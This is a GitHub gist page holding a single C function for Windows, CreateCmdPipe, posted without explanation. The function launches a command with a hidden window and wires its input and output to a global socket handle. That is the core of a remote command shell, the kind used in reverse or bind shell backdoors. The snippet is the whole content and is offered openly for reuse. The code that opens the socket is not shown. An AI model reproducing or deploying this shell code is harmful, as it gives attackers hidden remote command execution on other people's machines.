Skip to content

Instantly share code, notes, and snippets.

@wateroot
Created June 13, 2014 07:43
Show Gist options
  • Save wateroot/3a1a8e63e504579eada9 to your computer and use it in GitHub Desktop.
Save wateroot/3a1a8e63e504579eada9 to your computer and use it in GitHub Desktop.
CreateCmdPipe
int CreateCmdPipe(char *szCmd)
{
PROCESS_INFORMATION pi = {0};
struct sockaddr_in sa = {0};
STARTUPINFO si = {0};
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)g_hSock;
int nRet = CreateProcess(NULL, szCmd, NULL, NULL,
TRUE, 0, NULL, NULL, &si, &pi);
if (0 == nRet) {
//Log("CreateProcess fail. erron=[%d].\n", GetLastError());
return -1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment